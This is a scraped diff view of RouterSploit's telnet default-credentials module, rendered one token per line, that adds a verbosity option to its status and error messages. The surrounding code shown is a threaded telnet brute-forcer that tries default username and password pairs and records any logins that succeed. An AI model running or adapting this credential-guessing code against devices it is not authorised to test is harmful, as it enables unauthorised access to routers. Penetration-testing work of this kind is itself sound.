close
()
tn
.
close
()
break
break
except
EOFError
:
except
EOFError
:
print_error
(
name
,
"Connection problem. Retrying..."
)
print_error
(
name
,
"Connection problem. Retrying..."
,
verbose
=
module_verbosity
)
retries
+=
1
retries
+=
1
if
retries
>
2
:
if
retries
>
2
:
print_error
(
"Too much connection problems. Quiting..."
)
print_error
(
"Too much connection problems. Quiting..."
,
verbose
=
module_verbosity
)
return
return
continue
continue
print_status
(
name
,
'thread is terminated.'
)
print_status
(
name
,
'thread is terminated.'
,
verbose
=
module_verbosity
)
routersploit/modules/creds/telnet_default.py
View file @
7d5e78cd
...
@@ -9,6 +9,7 @@ from routersploit import (
...
@@ -9,6 +9,7 @@ from routersploit import (
LockedIterator
,
LockedIterator
,
print_success
,
print_success
,
print_table
,
print_table
,
boolify
,
)
)
...
@@ -29,6 +30,7 @@ class Exploit(exploits.Exploit):
...
@@ -29,6 +30,7 @@ class Exploit(exploits.Exploit):
threads
=
exploits
.
Option
(
8
,
'Numbers of threads'
)
threads
=
exploits
.
Option
(
8
,
'Numbers of threads'
)
defaults
=
exploits
.
Option
(
wordlists
.
defaults
,
'User:Pass or file with default credentials (file://)'
)
defaults
=
exploits
.
Option
(
wordlists
.
defaults
,
'User:Pass or file with default credentials (file://)'
)
verbosity
=
exploits
.
Option
(
'yes'
,
'Display authentication attempts'
)
credentials
=
[]
credentials
=
[]
...
@@ -59,8 +61,9 @@ class Exploit(exploits.Exploit):
...
@@ -59,8 +61,9 @@ class Exploit(exploits.Exploit):
print_error
(
"Credentials not found"
)
print_error
(
"Credentials not found"
)
def
target_function
(
self
,
running
,
data
):
def
target_function
(
self
,
running
,
data
):
module_verbosity
=
boolify
(
self
.
verbosity
)
name
=
threading
.
current_thread
()
.
name
name
=
threading
.
current_thread
()
.
name
print_status
(
name
,
'process is starting...'
)
print_status
(
name
,
'process is starting...'
,
verbose
=
module_verbosity
)
while
running
.
is_set
():
while
running
.
is_set
():
try
:
try
:
...
@@ -84,21 +87,21 @@ class Exploit(exploits.Exploit):
...
@@ -84,21 +87,21 @@ class Exploit(exploits.Exploit):
tn
.
close
()
tn
.
close
()
if
i
!=
-
1
:
if
i
!=
-
1
:
print_error
(
name
,
"Username: '{}' Password: '{}'"
.
format
(
user
,
password
))
print_error
(
name
,
"Username: '{}' Password: '{}'"
.
format
(
user
,
password
)
,
verbose
=
module_verbosity
)
else
:
else
:
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"#"
,
"$"
,
">"
]))
or
len
(
res
)
>
500
:
# big banner e.g. mikrotik
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"#"
,
"$"
,
">"
]))
or
len
(
res
)
>
500
:
# big banner e.g. mikrotik
running
.
clear
()
running
.
clear
()
print_success
(
"{}: Authentication succeed!"
.
format
(
name
),
user
,
password
)
print_success
(
"{}: Authentication succeed!"
.
format
(
name
),
user
,
password
,
verbose
=
module_verbosity
)
self
.
credentials
.
append
((
user
,
password
))
self
.
credentials
.
append
((
user
,
password
))
tn
.
close
()
tn
.
close
()
break
break
except
EOFError
:
except
EOFError
:
print_error
(
name
,
"Connection problem. Retrying..."
)
print_error
(
name
,
"Connection problem. Retrying..."
,
verbose
=
module_verbosity
)
retries
+=
1
retries
+=
1
if
retries
>
2
:
if
retries
>
2
:
print_error
(
"Too much connection problems. Quiting..."
)
print_error
(
"Too much connection problems. Quiting..."
,
verbose
=
module_verbosity
)
return
return
continue
continue
print_status
(
name
,
'process is terminated.'
)
print_status
(
name
,
'process is terminated.'
,
verbose
=
module_verbosity
)
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment